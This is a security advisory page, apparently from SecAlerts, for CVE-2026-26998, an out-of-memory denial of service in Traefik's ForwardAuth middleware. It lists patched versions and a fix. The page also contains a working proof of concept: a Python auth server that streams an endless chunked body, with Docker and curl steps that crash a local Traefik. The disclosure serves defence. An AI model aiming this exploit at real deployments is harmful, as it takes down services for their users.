CVE-2026-26998: Traefik: unbounded io.ReadAll on auth server response body causes OOM denial of service(DOS)

Published Mar 4, 2026
·
Updated

Impact

There is a potential vulnerability in Traefik managing the ForwardAuth middleware responses.

When Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no maxResponseBodySize configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process.

This results in a denial of service for all routes served by the affected Traefik instance.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.38 - https://github.com/traefik/traefik/releases/tag/v3.6.9

Workarounds

No workaround available.

For more information

If there are any questions or comments about this advisory, please open an issue.

---

<details> <summary>Original Description</summary>

Summary

The ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint.

Details

In pkg/middlewares/auth/forward.go, line 213:

body, readError := io.ReadAll(forwardResponse.Body)

When the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed.

Traefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94):

logger.Warn().Msgf("ForwardAuth 'maxBodySize' is not configured with 'forwardBody: true', allowing unlimited request body size ...")

However, the response body path has no equivalent protection — no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window.

| Direction | Protection | Code | |-----------|-----------|------| | Request body to auth server | maxBodySize config + warning log | forward.go:85-95 | | Auth server response to Traefik | None | forward.go:213 |

PoC

1. Create a malicious auth server (authinfinite.py):

from http.server import BaseHTTPRequestHandler, HTTPServer

class InfiniteAuth(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Transfer-Encoding", "chunked") self.endheaders() chunk = b"A" (64 1024) try: while True: self.wfile.write(f"{len(chunk):x}\r\n".encode()) self.wfile.write(chunk + b"\r\n") self.wfile.flush() except BrokenPipeError: pass

HTTPServer(("0.0.0.0", 9000), InfiniteAuth).serveforever()

2. Traefik dynamic config (dynamic.yml):

http: routers: protected: entryPoints: [web] rule: "PathPrefix('/admin')" middlewares: [auth] service: whoami middlewares: auth: forwardAuth: address: "http://auth:9000/auth" services: whoami: loadBalancer: servers: - url: "http://whoami:80"

3. Docker Compose (docker-compose.yml):

services: traefik: image: traefik:v3.6 command: - --entrypoints.web.address=:8000 - --providers.file.filename=/etc/traefik/dynamic.yml ports: - "8000:8000" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro deploy: resources: limits: memory: 512M dependson: [auth, whoami] auth: image: python:3.12-slim command: ["python", "/app/authinfinite.py"] volumes: - ./authinfinite.py:/app/authinfinite.py:ro whoami: image: traefik/whoami:v1.11

4. Reproduce:

docker compose up -d docker stats --no-stream traefik # ~14 MiB curl -s -o /dev/null http://localhost:8000/admin docker inspect traefik --format '{{.State.OOMKilled}}' # true docker inspect traefik --format '{{.State.ExitCode}}' # 137 (SIGKILL)

Observed results:

| Scenario | Memory | |----------|--------| | Idle baseline (20 seconds) | 14.8 MiB to 14.8 MiB (no change) | | 10 normal requests (4-byte auth response) | 14.8 MiB to 15.8 MiB (+1 MiB) | | 1 malicious request (no memory limit) | 98 MiB to 1.43 GiB (14.6x amplification) | | 1 malicious request (512MB memory limit) | 14 MiB to OOM kill in less than 3 seconds |

After OOM kill, all routes on the entrypoint become unreachable — complete service outage.

Impact

This is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint.

Realistic attack scenarios include:

- Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers) - Compromised or buggy auth servers that return unexpected large responses - Defense in depth: even trusted auth servers should not be able to crash the proxy

Suggested Fix

Apply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies:

const defaultMaxAuthResponseSize int64 = 1 << 20 // 1 MiB limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize) body, readError := io.ReadAll(limitedBody)

Optionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies.

</details>

Other sources

Traefik is an HTTP reverse proxy and load balancer. Prior to versions 2.11.38 and 3.6.9, there is a potential vulnerability in Traefik managing the ForwardAuth middleware responses. When Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no maxResponseBodySize configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process. This results in a denial of service for all routes served by the affected Traefik instance. This issue has been patched in versions 2.11.38 and 3.6.9.

MITRE

Affected Software

4 affected componentsFixes available
go/github.com/traefik/traefik/v3<=3.6.8
3.6.9
go/github.com/traefik/traefik/v2<=2.11.37
2.11.38
Traefik traefik<2.11.38
Traefik traefik>=3.0.0<3.6.9

Event History

Mar 4, 2026
Advisory Published
via GitHub·06:23 PM
Data Sourced
via GitHub·06:23 PM
DescriptionSeverityWeaknessAffected Software
Mar 5, 2026
CVE Published
via MITRE·04:15 PM
Data Sourced
via MITRE·04:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-26998?

CVE-2026-26998 is classified as a denial of service vulnerability due to unbounded io.ReadAll leading to potential out-of-memory issues.

2

How do I fix CVE-2026-26998?

To fix CVE-2026-26998, upgrade Traefik to version 3.6.9 or 2.11.38 or later.

3

Which versions of Traefik are affected by CVE-2026-26998?

Traefik versions prior to 3.6.9 and 2.11.38 are affected by CVE-2026-26998.

4

What does CVE-2026-26998 affect in Traefik?

CVE-2026-26998 affects the ForwardAuth middleware responses in Traefik.

5

Is CVE-2026-26998 a critical vulnerability?

CVE-2026-26998 poses a risk of denial of service, making it a significant concern for environments relying on Traefik.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203